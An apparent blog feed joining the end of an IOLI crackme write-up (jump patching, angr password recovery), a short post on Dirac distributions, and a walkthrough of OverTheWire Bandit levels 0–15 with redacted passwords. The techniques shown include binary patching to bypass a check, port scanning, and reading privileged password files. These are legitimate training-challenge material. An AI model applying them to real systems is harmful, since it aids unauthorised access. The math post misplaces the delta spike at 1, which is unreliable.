is a good jump, which is only taken if the password is correct. So we have to
exchange it with a jump instruction which is always taken. Writing eb0e instead
of 740e works.
Intestingly there are some strings which we cannot read, since they look
encrypted. I strongly assume that the stuff in sym.main that I called voodoo
was some kind of decryption routine.</p>
<h4 id="angr-me-1">Angr me!</h4>
<p>With Angr we can again find out the correct password. We are doing the same as
in Level 2.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> > a = angr.Project('crackme0x03')
> state = a.factory.entry_state()
> path = a.factory.path(state)
> pathgroup = a.factory.path_group(path)
> pathgroup.step(until=lambda lpg: len(lpg.active) > 1)
> pathgroup.active[0].state.posix.dumps(0)
'+000338724B'
> pathgroup.active[1].state.posix.dumps(0)
'-224244844\x12'
$ ./crackme0x03.org
IOLI Crackme Level 0x03
Password: 338724
Password OK!!! :)
</code></pre></div></div>
<h2 id="the-other-levels">The other levels</h2>
<p>The other levels are fairly similar, except there are more jumps to
nop. So I won’t go into details but leave them as an exercise.
If instead of patching the binaries, we want to understand the
password from the disassembly, that is more challenging and I will not
cover it (yet?) since my disassembly skills do not suffice for that.
Interestingly, our angr-script fails at the later levels.</p>
<h2 id="references">References</h2>
<p>If you want to look at solutions for the other levels which you should not do except if you are stuck, you can find them under the following links:</p>
<ul>
<li><a href="https://dustri.org/b/defeating-ioli-with-radare2.html">Cracking IOLI by understanding assembly</a></li>
<li><a href="https://github.com/angr/angr-doc/tree/master/examples/CSCI-4968-MBE/challenges">Solving IOLI with angr</a></li>
</ul>
Distributions
2017-01-09T00:00:00+00:00
https://hkopp.github.io/2017/01/distributions
<script type="text/javascript" src="https://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML"></script>
<h2 id="motivation">Motivation</h2>
<p>Sometimes people mistake distributions for functions. This is due to
the fact, that the notation sucks and often people use the same
symbols for both. In this post I want to clarify the intuition behind
distributions.</p>
<p>Take as an example the expected value of a random variable \(X\) in
\(\mathbb{R}\) with
probability density function \(p_X\). Then the expected value is
\(E(X)=\int_\mathbb{R} x p_X(x) dx\).
But does any random variable admit a probability density function
\(p_X\)? Of course not. Take as a counterexample the random variable
\(Y\) with absolutely no randomness which is always \(0\). Can we
write this as \(0=E(Y)=\int_\mathbb{R} x p_Y(x) dx\) for some function
\(p_Y\), which is not zero everywhere?</p>
<h2 id="distributions">Distributions</h2>
<p>It turns out that we can kind of do this. There is the so-called dirac
distribution (often wrongly called dirac function) \(\delta\) which is a gadget which is zero everywhere,
except at \(1\) where its value is infinity. Further, integrating
yields \(\int_\mathbb{R} \delta(x) dx=1\).
This \(\delta\) would have the properties we require of \(p_Y\) from
above.</p>
<p>But why should \(\delta\) exist at all? The trick is, that it is not a
function but a special type of generalized function. These generalized
functions are called distributions.</p>
<p>Let me introduce some more
notation. Let \(D(\mathbb{R})\) be the set of infinitely
differentiable (smooth) functions
\(\phi:\mathbb{R}\rightarrow\mathbb{R}\) which are zero outside some
bounded interval (have compact support). We call those functions test
functions.
We now define a distribution \(T:D(\mathbb{R})\rightarrow\mathbb{R}\) to be a linear mapping from the space of
test functions \(D(\mathbb{R})\) to \(\mathbb{R}\). Usually one writes
\(\langle T, \phi\rangle\) instead of \(T(\phi)\).</p>
<p>As you may have guessed every function \(f\) induces a distribution
\(T_f\). This should be intuitive, since I have written above that a
distribution is a generalized function, so a usual function should of course
also be a distribution.
In particular we define \(T_f\) by its action on the test functions
\(\phi\) through \(\langle T_f, \phi\rangle=\int_\mathbb{R} f(x)
\phi(x)dx\).</p>
<p>The Dirac distribution \(\delta\) on the other hand is not induced by
a function. It is defined by \(\langle \delta, \phi\rangle=\phi(0)\).
I.e., it maps a function to its value at zero.
We wrote above \(0=E(Y)=\int_\mathbb{R} x p_Y(x) dx\), even though we
did not yet know that \(p_Y(x)\) in this case is the dirac
distribution and not a function.
In the literature stuff like this is often written as
\(0=\int_\mathbb{R} x \delta(x) dx\) to mean \(\langle\delta,
x\rangle=0\). There is similar weird notation floating around, like
\(\int_\mathbb{R} \delta(x) dx=1\), which is very misleading.
This is not an integral of a function, since \(\delta\) is not a
function. Don’t get confused. The last equation can be translated as
\(\int_\mathbb{R} \delta(x) dx=\langle \phi, 1\rangle\). And then it
makes sense again, at least from a notational point.</p>
<p>And that is already everything you need to know to understand
distributions. One can take a more sophisticated space of test
functions to arrive at more sophisticated distributions. One can
define derivatives of distributions, such that it feels natural. One
can add and multiply distributions. But the underlying intuition stays
the same as above, namely to generalize functions as inducing a
linear mapping from a space of test functions to \(\mathbb{R}\).</p>
Overthewire Bandit Wargame Level 0 To 15
2016-11-26T00:00:00+00:00
https://hkopp.github.io/2016/11/overthewire-bandit-wargame-level-0-to-15
<h2 id="intro">Intro</h2>
<p>Some time ago I decided that it is time to brush up my computer
security skills.
I went to <a href="http://overthewire.org">http://overthewire.org</a>, which is a site with hacking
challenges and did some of those. I did their simplest game, called
Bandit. Some of the puzzles were too basic for me, some of
them included researching obscure functions in manpages.
So I did not finish the challenges, since my motivation left.
I had some writeups of the levels and thought that I should not
publish them, since they are not complete. They lay around in my
drafts-folder for a year and since I do not think I will ever finish
them, I will now publish them.
Have fun reading.</p>
<h2 id="level-0">Level 0</h2>
<p>So I went to this site and it said that I should ssh to
bandit.labs.overthewire.org with password bandit0 and username bandit0</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>h@ophit:~$ ssh bandit0@bandit.labs.overthewire.org
The authenticity of host 'bandit.labs.overthewire.org (178.79.134.250)' can't be established.
ECDSA key fingerprint is 05:3a:1c:25:35:0a:ed:2f:cd:87:1c:f6:fe:69:e4:f6.
+--[ECDSA 256]---+
| ..oo= |
| o.= o |
| .= . |
| ..o. |
| *S+ |
| . * o . |
| . o o |
| . +. |
| +o.E |
+-----------------+
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'bandit.labs.overthewire.org,178.79.134.250' (ECDSA) to the list of known hosts.
This is the OverTheWire game server. More information on http://www.overthewire.org/wargames
Please note that wargame usernames are no longer level<X>, but wargamename<X>
e.g. vortex4, semtex2, ...
Note: at this moment, blacksun is not available.
bandit0@bandit.labs.overthewire.org's password:
,----.. ,----, .---.
/ / \ ,/ .`| /. ./|
/ . : ,` .' : .--'. ' ;
. / ;. \ ; ; / /__./ \ : |
. ; / ` ; .'___,/ ,' .--'. ' \' .
; | ; \ ; | | : | /___/ \ | ' '
| : | ; | ' ; |.'; ; ; \ \; :
. | ' ' ' : `----' | | \ ; ` |
' ; \; / | ' : ; . \ .\ ;
\ \ ', / | | ' \ \ ' \ |
; : / ' : | : ' |--"
\ \ .' ; |.' \ \ ;
www. `---` ver '---' he '---" ire.org
Welcome to the OverTheWire games machine!
If you find any problems, please report them to Steven on
irc.overthewire.org.
--[ Playing the games ]--
This machine holds several wargames.
If you are playing "somegame", then:
* USERNAMES are somegame0, somegame1, ...
* Most LEVELS are stored in /somegame/.
* PASSWORDS for each level are stored in /etc/somegame_pass/.
Write-access to homedirectories is disabled. It is advised to create a
working directory with a hard-to-guess name in /tmp/. You can use the
command "mktemp -d" in order to generate a random and hard to guess
directory in /tmp/. Read-access to both /tmp/ and /proc/ is disabled
so that users can not snoop on eachother.
Please play nice:
* don't leave orphan processes running
* don't leave exploit-files laying around
* don't annoy other players
* don't post passwords or spoilers
* again, DONT POST SPOILERS!
This includes writeups of your solution on your blog or website!
--[ Tips ]--
This machine has a 64bit processor and many security-features enabled
by default, although ASLR has been switched off. The following
compiler flags might be interesting:
-m32 compile for 32bit
-fno-stack-protector disable ProPolice
-Wl,-z,norelro disable relro
In addition, the execstack tool can be used to flag the stack as
executable on ELF binaries.
Finally, network-access is limited for most levels by a local
firewall.
--[ Tools ]--
For your convenience we have installed a few usefull tools which you can find
in the following locations:
* peda (https://github.com/longld/peda.git) in /usr/local/peda/
* gdbinit (https://github.com/gdbinit/Gdbinit) in /usr/local/gdbinit/
* pwntools (https://github.com/Gallopsled/pwntools) in /usr/src/pwntools/
* radare2 (http://www.radare.org/) should be in $PATH
--[ More information ]--
For more information regarding individual wargames, visit
http://www.overthewire.org/wargames/
For questions or comments, contact us through IRC on
irc.overthewire.org.
bandit0@melinda:~$
</code></pre></div></div>
<p>Don’t post spoilers? Well, how can an individual interested in security learn
about all this stuff if there are no instructions anywhere? But in order to
honor the creators of the challenge, I am going to redact the passwords.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bandit0@melinda:~$ l
readme
bandit0@melinda:~$ cat readme
<secret password>
</code></pre></div></div>
<p>Look what we have here: A nice password for the next level.</p>
<h2 id="level-1">Level 1</h2>
<p>With the password we can access the next level.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>hjgk@ophit:~$ ssh bandit1@bandit.labs.overthewire.org
bandit1@bandit.labs.overthewire.org's password:
bandit1@melinda:~$ l
-
</code></pre></div></div>
<p>What is this? A file with a funny name? Indeed.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bandit1@melinda:~$ ls -la
total 24
-rw-r----- 1 bandit2 bandit1 33 Nov 14 2014 -
drwxr-xr-x 2 root root 4096 Nov 14 2014 .
drwxr-xr-x 167 root root 4096 Jul 9 16:27 ..
-rw-r--r-- 1 root root 220 Apr 9 2014 .bash_logout
-rw-r--r-- 1 root root 3637 Apr 9 2014 .bashrc
-rw-r--r-- 1 root root 675 Apr 9 2014 .profile
bandit1@melinda:~$ cat ./-
<secret password>
</code></pre></div></div>
<p>And up to the next level.</p>
<h2 id="level-2">Level 2</h2>
<p>Again logging in with ssh.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bandit2@melinda:~$ l
spaces in this filename
bandit2@melinda:~$ cat spaces\ in\ this\ filename
<secret password>
</code></pre></div></div>
<p>At this time I wondered if it is a mistake that bash-completion is enabled.
Well… Let’s check the next one.</p>
<h2 id="level-3">Level 3</h2>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bandit3@melinda:~$ l
inhere/
bandit3@melinda:~$ less inhere/.hidden
bandit3@melinda:~$ cat inhere/.hidden
</code></pre></div></div>
<p>Piece of cake.</p>
<h2 id="level-4">Level 4</h2>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bandit4@melinda:~$ l
inhere/
bandit4@melinda:~$ cd inhere/
bandit4@melinda:~/inhere$ l
-file00 -file01 -file02 -file03 -file04 -file05 -file06 -file07 -file08 -file09
bandit4@melinda:~/inhere$ cat *
cat: invalid option -- 'f'
Try 'cat --help' for more information.
bandit4@melinda:~/inhere$ cat -file0
cat: invalid option -- 'f'
Try 'cat --help' for more information.
bandit4@melinda:~/inhere$ cat ./*
<many funny signs><something that looks like a password>
bandit4@melinda:~/inhere$ grep <piece of the password> ./*
./-file07:<secret password>
</code></pre></div></div>
<p>That was more fun, but I am starting to wonder if I am the right target group.
Come on, I am not a shell-noob. Where are the code injections?</p>
<h2 id="level-5">Level 5</h2>
<p>This level is more fun. We have many files scattered around many
folders. Too much to look at all of them. We assume that the flag
resides in a file with only one line and contains only
ascii-characters, like in the previous levels.
So we list all files and their corresponding line numbers</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bandit5@melinda:~$ find . * -exec wc -l {} \;
</code></pre></div></div>
<p>Some of them contain only one line, so it seems we are on the right
track. We are only interested in the one-liners, so we search with
grep if the output contains “1 “. The space is important to exclude
files with 13 or 17 lines. Then, we strip the “1 “ away, such that
only the filenames remain.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bandit5@melinda:~$ find . * -exec wc -l {} \;|grep "^1 "|sed 's/1 //'
</code></pre></div></div>
<p>Now I want to know which of those are ASCII.
Unfortunately some of the files contain spaces. So later mangling is
difficult. We have to think of another way. We could first look which
are ASCII and then pick the small ones.</p>
<p>Let us start by addressing the many errors that occur when find yields
a file and wc -l is invoke on a file. The find command has the switch
-t which allows to determine the type of the match. We want files, so
we add ‘-t f’ to find. <br />
Also we want the delimiters to be different. File has the flag
–print0 to use zero-characters as delimiters. These are not
ASCII-zeros but binary zeros, like those used in delimiting strings in
C. xargs has a corresponding option -0 to also use zero-characters as
delimiters.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bandit5@melinda:~$ find . -type f -print0 |xargs -0 file
</code></pre></div></div>
<p>Now we can pick the ASCII-files. The command ‘file’ sometimes says
that a file is “ASCII text, with very long lines”. We probably do not
want to have them.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bandit5@melinda:~$ find . -type f -print0 |xargs -0 file|grep ASCII|grep -v "very long"
</code></pre></div></div>
<p>Seven files remain which we can check by hand.
But, surprise, all the strings are horribly long and do not look like
passwords. That’s when I came to the hints on the website of the
bandit-wargame. There it says that the file is human-readable, has
1033 bytes and is not executable. Damn. We threw the password away
when throwing everything away which had long lines.</p>
<p>So. Back again. We are now searching for a file with exactly 1033
bytes.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bandit5@melinda:~$ find . -type f -print0 |xargs -0 ls -la|grep 1033
</code></pre></div></div>
<p>Bam! Got the password. Next level!</p>
<h2 id="level-6">Level 6</h2>
<p>When connecting to bandit.labs.overthewire.org as bandit6 we see that
the home directory is empty. The hint on the website says that the
password is stored somewhere on the server, is owned by user bandit7,
owned by group bandit6, and is 33 bytes in size.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bandit6@melinda:~$ cd /
bandit6@melinda:/$ find . -type f -print0|xargs -0 ls -la|grep bandit6|grep bandit7|grep 33
</code></pre></div></div>
<p>Probably not how they thought I should solve this, but effective.
After pressing enter I see a file which contains the password. Nice
challenge.</p>
<h2 id="level-7">Level 7</h2>
<p>So, on to level 7.</p>
<p>In the home-directory we have a file called data.txt with too many
lines to read them all. Each lines contains a pair of a name and
something that looks like a password. The hint is that the password is
stored next to the word “millionth”.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bandit7@melinda:~$ grep millionth data.txt
millionth <secret password>
</code></pre></div></div>
<p>Babing!</p>
<h2 id="level-8">Level 8</h2>
<p>Level 8 is really similar to level 7. We have a file called data.txt
and the password is the only line that occurs only once.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bandit8@melinda:~$ uniq -c data.txt |sort -n
</code></pre></div></div>
<p><code class="language-plaintext highlighter-rouge">uniq -c</code> counts the occurences of the lines. <code class="language-plaintext highlighter-rouge">sort -n</code> sorts
the lines as if they were numbers, so not lexicographically.
And well, it does not work. uniq only deletes adjacent duplicate
lines. So, first we have to sort the lines, then delete the ajacent
duplicate lines an prepend them with their number of occurences.
Lastly, we sort again, but reverse, so that the smallest number of
occurences is at the bottom.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sort data.txt |uniq -c|sort -nr
</code></pre></div></div>
<p>Works!</p>
<h2 id="level-9">Level 9</h2>
<p>Level 9 is again a data.txt. We are searching the only human-readable string
which starts with a number of equal signs.
The command strings dumps the human readable strings and then we have
to grep for the equal sign.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bandit9@melinda:~$ strings data.txt |grep ==
I========== the6
========== password
========== ism
========== <secret password>
</code></pre></div></div>
<p>Hmpf! That was easy.</p>
<h2 id="level-10">Level 10</h2>
<p>I log in and again i have this data.txt. This time it is
base64-encoded.
So i have to decode it. There is a tool for this surprisingly called
<code class="language-plaintext highlighter-rouge">base64</code>.
There is the flag -d for decoding.
So all i have to do is the following.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bandit10@melinda:~$ base64 -d data.txt
The password is <secret password>
</code></pre></div></div>
<p>Done! Up to the next one.</p>
<h2 id="level-11">Level 11</h2>
<p>Oh no. Not again a data.txt. I increase the volume of my earphones
slightly. What is it this time?
Looks like a string which is somehow encrypted.
The hint at the overthewire-site says that all characters are rotated
by 13 positions. Well, sounds an awful lot like rot13.</p>
<p>Fortunately there is a tool called <code class="language-plaintext highlighter-rouge">tr</code> which can substitute
characters by other characters.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bandit11@melinda:~$ cat data.txt | tr '[A-Za-z]' '[N-ZA-Mn-za-m]'
The password is <secret string>
</code></pre></div></div>
<p>Does this constitute a useless use of cat?</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bandit11@melinda:~$ tr '[A-Za-z]' '[N-ZA-Mn-za-m]' data.txt
tr: extra operand 'data.txt'
Try 'tr --help' for more information.
</code></pre></div></div>
<p>…..Probably not.</p>
<h2 id="level-12">Level 12</h2>
<p>Again we have a data.txt.
This time it looks a lot like hex.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bandit12@melinda:~$ head data.txt
0000000: 1f8b 0808 34da 6554 0203 6461 7461 322e ....4.eT..data2.
0000010: 6269 6e00 013f 02c0 fd42 5a68 3931 4159 bin..?...BZh91AY
0000020: 2653 5982 c194 8a00 0019 ffff dbfb adfb &SY.............
0000030: bbab b7d7 ffea ffcd fff7 bfbf 1feb eff9 ................
0000040: faab 9fbf fef2 fefb bebf ffff b001 3b18 ..............;.
0000050: 6400 001e a000 1a00 6468 0d01 a064 d000 d.......dh...d..
0000060: 0d00 0034 00c9 a320 001a 0000 0d06 80d1 ...4... ........
0000070: a340 01b4 98d2 3d13 ca20 6803 40d1 a340 .@....=.. h.@..@
0000080: 1a00 0340 0d0d 0000 000d 0c80 6803 4d01 ...@........h.M.
0000090: a3d4 d034 07a8 0683 4d0c 4034 069e 91ea ...4....M.@4....
</code></pre></div></div>
<p>A direct <code class="language-plaintext highlighter-rouge">xxd -r</code> which casts it back to binary does not work this
time. So i read the hint at the website. It is a file that has been
compressed repeatedly. Well. Nothing easier than that.
First we try to create a separate directory somewhere in /tmp</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bandit12@melinda:~$ mkdir /tmp/a
mkdir: cannot create directory '/tmp/a': File exists
bandit12@melinda:~$ mkdir /tmp/mydir
mkdir: cannot create directory '/tmp/mydir': File exists
bandit12@melinda:~$ mkdir /tmp/s
mkdir: cannot create directory '/tmp/s': File exists
</code></pre></div></div>
<p>Damn. I have to think of a more difficult name.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bandit12@melinda:~$ mkdir /tmp/decompressdir
bandit12@melinda:~$ cp data.txt /tmp/decompressdir
bandit12@melinda:~$ cd /tmp/decompressdir
</code></pre></div></div>
<p>Let us hope i can remember this one.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bandit12@melinda:/tmp/decompressdir$ xxd -r data.txt > a
bandit12@melinda:/tmp/decompressdir$ file a
a: gzip compressed data, was "data2.bin", from Unix, last modified: Fri Nov 14 10:32:20 2014, max compression
</code></pre></div></div>
<p>So the first layer is a gzip-file containing some data.bin.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bandit12@melinda:/tmp/decompressdir$ gunzip a
gzip: a: unknown suffix -- ignored
</code></pre></div></div>
<p>Stupid gunzip. It looks at the file-ending and is not convinced that
the file a is indeed gzipped. We can change that.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bandit12@melinda:/tmp/decompressdir$ cp a a.gz
bandit12@melinda:/tmp/decompressdir$ gunzip a.gz
gzip: a already exists; do you wish to overwrite (y or n)? y
bandit12@melinda:/tmp/decompressdir$ l
a data.txt
</code></pre></div></div>
<p>Seemed to work.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bandit12@melinda:/tmp/decompressdir$ file a
a: bzip2 compressed data, block size = 900k
</code></pre></div></div>
<p>Yep. Worked. The file is now a different one.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bandit12@melinda:/tmp/decompressdir$ bunzip2 a
bunzip2: Can't guess original name for a -- using a.out
</code></pre></div></div>
<p>Yeah. Whatever. As long as you tell me how you name it.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bandit12@melinda:/tmp/decompressdir$ file a.out
a.out: gzip compressed data, was "data4.bin", from Unix, last modified: Fri Nov 14 10:32:20 2014, max compression
bandit12@melinda:/tmp/decompressdir$ cp a.out a.gz
bandit12@melinda:/tmp/decompressdir$ gunzip a.gz
bandit12@melinda:/tmp/decompressdir$ l
a a.out data.txt
</code></pre></div></div>
<p>Peeling away another layer.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bandit12@melinda:/tmp/decompressdir$ file a
a: POSIX tar archive (GNU)
bandit12@melinda:/tmp/decompressdir$ tar xvf a
data5.bin
</code></pre></div></div>
<p>Nice challenge. I guess now we have gone through all compression tools
except cpio.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bandit12@melinda:/tmp/decompressdir$ file data5.bin
data5.bin: POSIX tar archive (GNU)
bandit12@melinda:/tmp/decompressdir$ tar xvf data5.bin
data6.bin
bandit12@melinda:/tmp/decompressdir$ file data6.bin
data6.bin: bzip2 compressed data, block size = 900k
</code></pre></div></div>
<p>At this point perhaps I thought that I should perhaps write a tool to
automate the decompression process. But I persisted.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bandit12@melinda:/tmp/decompressdir$ bunzip2 data6.bin
bunzip2: Can't guess original name for data6.bin -- using
data6.bin.out
bandit12@melinda:/tmp/decompressdir$ file data6.bin.out
data6.bin.out: POSIX tar archive (GNU)
bandit12@melinda:/tmp/decompressdir$ tar xvf data6.bin.out
data8.bin
bandit12@melinda:/tmp/decompressdir$ file data8.bin
data8.bin: gzip compressed data, was "data9.bin", from Unix, last modified: Fri Nov 14 10:32:20 2014, max compression
bandit12@melinda:/tmp/decompressdir$ cp data8.bin data8.bin.gz
bandit12@melinda:/tmp/decompressdir$ gunzip data8.bin.gz
gzip: data8.bin already exists; do you wish to overwrite (y or n)? y
bandit12@melinda:/tmp/decompressdir$ file data8.bin
data8.bin: ASCII text
</code></pre></div></div>
<p>Sigh! Finally! And yes. The file contained the password for the next
level.</p>
<h2 id="level-13">Level 13</h2>
<p>I log into the box and this time there is no data.txt. What a relief.
Instead there is a sshkey.private.
Well….. Level solved, right?</p>
<p>SSH-keys are keys for asymmetric encryption which i use daily. To
simplify. This is like a password.
The hint on the website says that the password is stored in
/etc/bandit_pass/bandit14 and can only be read by user bandit14. So.
Let’s log in as bandit14 with the private key and get the password.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bandit13@melinda:~$ ssh -i sshkey.private bandit14@localhost
Could not create directory '/home/bandit13/.ssh'.
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is 05:3a:1c:25:35:0a:ed:2f:cd:87:1c:f6:fe:69:e4:f6.
Are you sure you want to continue connecting (yes/no)? yes
</code></pre></div></div>
<p>Obviously it does not know the fingerprint of the machine I am
connecting to. Normally it should copy it to .ssh/known_hosts so that it
knows the other machine the next time. In this case, the permissions
are set such that the copying does not take place and the next player
will also have his fun.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bandit14@melinda:~$ cat /etc/bandit_pass/bandit14
<secret key>
</code></pre></div></div>
<p>Bingo!</p>
<h2 id="level-14">Level 14</h2>
<p>This time the hint is that I should submit the current passwort on port 30000 on localhost.
So I log in on the machine. The next step is establishing a connection
to itself, i. e., localhost.
You can think of port 30000 as an identifier so that the computer does
not mix up different connections to the same machine.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bandit14@melinda:~$ telnet localhost 30000
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
<current password>
Correct!
<new secret password>
Connection closed by foreign host.
</code></pre></div></div>
<p>Thanks.</p>
<h2 id="level-15">Level 15</h2>
<p>The hint says that we first have to find out the correct port on
localhost which is somewhere between 31000 and 32000.
At first I tried <code class="language-plaintext highlighter-rouge">netstat -tulpen</code>, but there were many listening ports and the
info which process was listening was missing, so I tried nmap.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bandit15@melinda:~$ nmap -A -p 31000-32000 127.0.0.1
Starting Nmap 6.40 ( http://nmap.org ) at 2016-01-17 14:23 UTC
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00080s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
31000/tcp open ssh (protocol 2.0)
| ssh-hostkey: 1024 23:51:06:ec:31:58:1e:64:10:51:58:9c:92:6f:08:55
(DSA)
| 2048 85:e5:7b:e2:87:74:18:c5:f4:d0:50:9f:13:56:9c:a7 (RSA)
|_256 05:3a:1c:25:35:0a:ed:2f:cd:87:1c:f6:fe:69:e4:f6 (ECDSA)
31046/tcp open echo
31518/tcp open msdtc Microsoft Distributed Transaction Coordinator
(error)
31691/tcp open echo
31790/tcp open msdtc Microsoft Distributed Transaction Coordinator
(error)
31960/tcp open echo
1 service unrecognized despite returning data. If you know the
service/version, please submit the following fingerprint at
http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
SF-Port31000-TCP:V=6.40%I=7%D=1/17%Time=569BA402%P=x86_64-pc-linux-gnu%r(N
SF:ULL,2B,"SSH-2\.0-OpenSSH_6\.6\.1p1\x20Ubuntu-2ubuntu2\.3\r\n");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at
http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.47 seconds
</code></pre></div></div>
<p>So…. nothing new since the netstat. Well, what happens if we just
connect to some of the ports and talk to them? Most of them just
respond with the same stuff we have given to then. But 30001 speaks
SSL. So we can try to connect with a different client.
I feel we are on to something.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bandit15@melinda:/tmp/graar$ openssl s_client -connect localhost:30001
CONNECTED(00000003)
depth=0 CN = li190-250.members.linode.com
verify error:num=18:self signed certificate
verify return:1
depth=0 CN = li190-250.members.linode.com
verify return:1
---
Certificate chain
0 s:/CN=li190-250.members.linode.com
i:/CN=li190-250.members.linode.com
---
Server certificate
-----BEGIN CERTIFICATE-----
MIIC3jCCAcagAwIBAgIJAI5QiWZw4YHbMA0GCSqGSIb3DQEBCwUAMCcxJTAjBgNV
BAMTHGxpMTkwLTI1MC5tZW1iZXJzLmxpbm9kZS5jb20wHhcNMTQxMTE0MTAyODA0
WhcNMjQxMTExMTAyODA0WjAnMSUwIwYDVQQDExxsaTE5MC0yNTAubWVtYmVycy5s
aW5vZGUuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsKmy9o5z
WU+1EH7Z3bB5TGQA+16zXDcEJy6tZWZ8CDrRyQXiahendp45BWUc/ZuLDo0+B3Wt
ZXjofmLw/F4fmR+8X1s1fQZX2dFt920qEm7LxqzWd0c7FdHiBwwRrwhkk+3cQpOB
TTGdLWEgpdmwwNZDTUdsDLzjDczPnju6T6p6ArTECztPbmTjfY4QIRtC6capL1Z+
yPJSQVAuAMEX1wTDWTGdm0VV7oW4F5cGZutf6QAP51jdhSyZuGilIPHbnj0l6Qc7
a7+OtEsEGi31aJ8KpRf7LNZ7DXCuoB3Hf75Pd6VjDgoOIagcH0NYqa75gEjBkGzs
ktLWykT7ag7fKwIDAQABow0wCzAJBgNVHRMEAjAAMA0GCSqGSIb3DQEBCwUAA4IB
AQCaZdUNAj8WDEKWdoU3LNXUBJlTJwiWBrh550PbHSQORcCz2K0kiMei1A4ojK2N
dMHFGAqAeUEaxtz92p2BoFpZasAtdSa3u63tBckFhfUolIS1TC7Cj51y19ysTeep
fGPFpuPCVqVPsruei8Z/iqn3bFIhQQdmumeePZQdPMwZSWHNVYC5XODd7PvNDrDu
5MZJjkz4+6LbwwAvyew62meFN2QEsYbK2Brtbhze+IjE27FGWlSw4K3jlwa409MD
MTf4JU41ELaYY8G/LSNDJsBVhhkHzvXR9iCbXxNz3IL0dQDNj7h4LKhBy0q7hvqg
kDzwlmBO4WKSmCAuky44cXmd
-----END CERTIFICATE-----
subject=/CN=li190-250.members.linode.com
issuer=/CN=li190-250.members.linode.com
---
No client certificate CA names sent
---
SSL handshake has read 1714 bytes and written 637 bytes
---
New, TLSv1/SSLv3, Cipher is DHE-RSA-AES256-SHA
Server public key is 2048 bit
Secure Renegotiation IS supported
Compression: NONE
Expansion: NONE
SSL-Session:
Protocol : SSLv3
Cipher : DHE-RSA-AES256-SHA
Session-ID: F5DE5629DD4FEEAF08302227F2CD97FAF0C435B9603C056C1E33E978E9BBD912
Session-ID-ctx:
Master-Key: 2B6BBA6209CE1655D8F0BC3A123C7FE35217AE91E6C48CE7701169179BAF18ED4EF895BAE179F5A96FD0D20AC184F8F0
Key-Arg : None
PSK identity: None
PSK identity hint: None
SRP username: None
Start Time: 1453043227
Timeout : 300 (sec)
Verify return code: 18 (self signed certificate)
---
</code></pre></div></div>
<p>That is the SSL-handshake which we use to connect.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><current password>
HEARTBEATING
read R BLOCK
read:errno=0
</code></pre></div></div>
<p>Why doesn’t it give us the password? In fact, i have no idea. What works is if
we give it the argument -quiet which is neither documented in s_client nor in
openssl. Damn! I hate openssl. I have only found this solution through googling.</p>
